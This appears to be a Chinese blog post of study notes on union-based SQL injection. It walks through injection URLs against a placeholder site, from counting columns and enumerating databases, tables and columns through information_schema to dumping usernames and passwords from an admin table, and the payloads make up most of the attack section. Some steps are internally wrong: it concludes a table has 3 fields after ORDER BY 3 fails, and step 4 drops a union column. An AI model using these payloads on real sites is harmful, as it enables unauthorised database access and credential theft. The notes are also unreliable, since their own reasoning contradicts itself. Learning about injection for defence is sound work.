网络安全 sql 注入

未经允许万不可随意测试网站,请在法律的允许下使用,谨记谨记!

个人学习网络安全笔记及个人理解,如有问题请在评论区讨论 

网络安全网站:https://www.freebuf.com/

sql 注入:地址栏输入在数据库可以执行的语句,并进入数据库查到数据

(地址栏输入 空格转为字符问题  方法:/**/)

例:

ww.xxx.com?id=1 and 1=1 转 数据库sql 语句:select * from (表名) where id=1 and 1=1 

ww.xxx.com?id=123456 and 1=1 union select 1,2

转 数据库sql 语句:

select * from  (表名) where id='123456' and 1=1 union select 1,2 (mysql)

select * from  (表名) where id='123456' and 1=1 union select 1,2 from dual;(Oracle)

名词解释:union 用于合并两个或多个 SELECT 语句的结果集。

执行结果 :

12
123456user

 


1.查询此表里有几个字段(假设一共有2个字段)

ww.xxx.com?id=123456 order by 1 (正常)

ww.xxx.com?id=123456 order by 2 (正常)

ww.xxx.com?id=123456 order by 1,2 (正常)

ww.xxx.com?id=123456 order by 3 (失败)

结论:此表有3个字段

2.ww.xxx.com?id=123456 and 1=2 union select 1,database() 

:1=2 错误语法 引起数据库语法出错 不用查询前面的 防止union前面select 查询结果影响后面结果

:select 1,database() 查询前面select 使用的数据库

:select 1,user()  查询当前登录的用户 

:select 1,version() 数据库版本号

3.查询当前mysql有哪些数据库(默认数据库 mysql)

ww.xxx.com?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)

mysql 默认有一个information_schema表

关于此数据库的详细解释 =》https://zhuanlan.zhihu.com/p/45287222

:information_schema:定义数据库名或表名,列的数据类型,或访问权限等。给数据库定义规范

:schemata:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

:schema_name:存储所有数据库的名字

:group_concat :将相同的行组合  即:schema_name相同的行组合在一起

4.查询指定数据库里有哪些表

ww.xxx.com?id=1 and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='xxx'

:tables :提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

5.查询当前数据库指定表里有哪些字段

ww.xxx.com?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= 'admin'

6.查询指定表里指定字段有哪些内容

ww.xxx.com?id=1 and 1=2 union select 1,group_concat(username,',',password) from admin

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值